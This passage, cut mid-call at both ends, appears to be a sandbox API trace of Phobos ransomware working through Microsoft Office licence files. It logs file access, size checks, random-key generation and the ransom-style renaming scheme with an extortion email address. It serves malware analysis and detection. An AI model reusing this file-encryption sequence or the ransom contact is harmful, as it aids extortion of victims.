lpFileSize=0x3fdfb48*=11167) returned 1 [0153.069] CloseHandle (hObject=0x564) returned 1 [0153.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-pl.xrm-ms")) returned 0x220 [0153.069] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.069] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.069] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.070] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=23253) returned 1 [0153.070] CloseHandle (hObject=0x564) returned 1 [0153.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-ppd.xrm-ms")) returned 0x220 [0153.070] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.070] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.070] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.071] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11621) returned 1 [0153.071] CloseHandle (hObject=0x564) returned 1 [0153.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-ul-oob.xrm-ms")) returned 0x220 [0153.071] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProfessionalR_Trial-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\professionalr_trial-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.071] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.071] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.072] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11207) returned 1 [0153.072] CloseHandle (hObject=0x564) returned 1 [0153.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-pl.xrm-ms")) returned 0x220 [0153.072] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.072] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.073] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=21409) returned 1 [0153.073] CloseHandle (hObject=0x564) returned 1 [0153.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-ppd.xrm-ms")) returned 0x220 [0153.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.073] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.073] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.073] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.074] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11654) returned 1 [0153.074] CloseHandle (hObject=0x564) returned 1 [0153.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-ul-oob.xrm-ms")) returned 0x220 [0153.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_Subscription-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subscription-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.074] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.075] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11187) returned 1 [0153.075] CloseHandle (hObject=0x564) returned 1 [0153.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-pl.xrm-ms")) returned 0x220 [0153.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.075] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0153.076] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20918) returned 1 [0153.076] CloseHandle (hObject=0x564) returned 1 [0153.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-ppd.xrm-ms")) returned 0x220 [0153.076] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProCO365R_SubTest-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectproco365r_subtest-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.196] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.196] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10647) returned 1 [0153.196] CloseHandle (hObject=0x574) returned 1 [0153.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-pl.xrm-ms")) returned 0x220 [0153.196] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.197] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.197] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.197] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20850) returned 1 [0153.197] CloseHandle (hObject=0x574) returned 1 [0153.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ppd.xrm-ms")) returned 0x220 [0153.198] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.198] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.198] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.198] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11596) returned 1 [0153.199] CloseHandle (hObject=0x574) returned 1 [0153.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ul-oob.xrm-ms")) returned 0x220 [0153.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.199] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.199] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.199] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19941) returned 1 [0153.200] CloseHandle (hObject=0x574) returned 1 [0153.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ul-phn.xrm-ms")) returned 0x220 [0153.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.200] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.200] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=10651) returned 1 [0153.201] CloseHandle (hObject=0x574) returned 1 [0153.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-pl.xrm-ms")) returned 0x220 [0153.201] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-pl.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-pl.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.201] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.201] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.201] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=20851) returned 1 [0153.201] CloseHandle (hObject=0x574) returned 1 [0153.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ppd.xrm-ms")) returned 0x220 [0153.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ppd.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ppd.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.202] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.202] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.202] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=11600) returned 1 [0153.202] CloseHandle (hObject=0x574) returned 1 [0153.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ul-oob.xrm-ms")) returned 0x220 [0153.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-oob.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ul-oob.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0153.203] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0153.203] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0153.203] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=19945) returned 1 [0153.203] CloseHandle (hObject=0x574) returned 1 [0153.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ul-phn.xrm-ms")) returned 0x220 [0153.203] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-phn.xrm-ms.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ul-phn.xrm-ms.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0153.204] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProjectProR_Retail2-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\projectpror_retail2-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 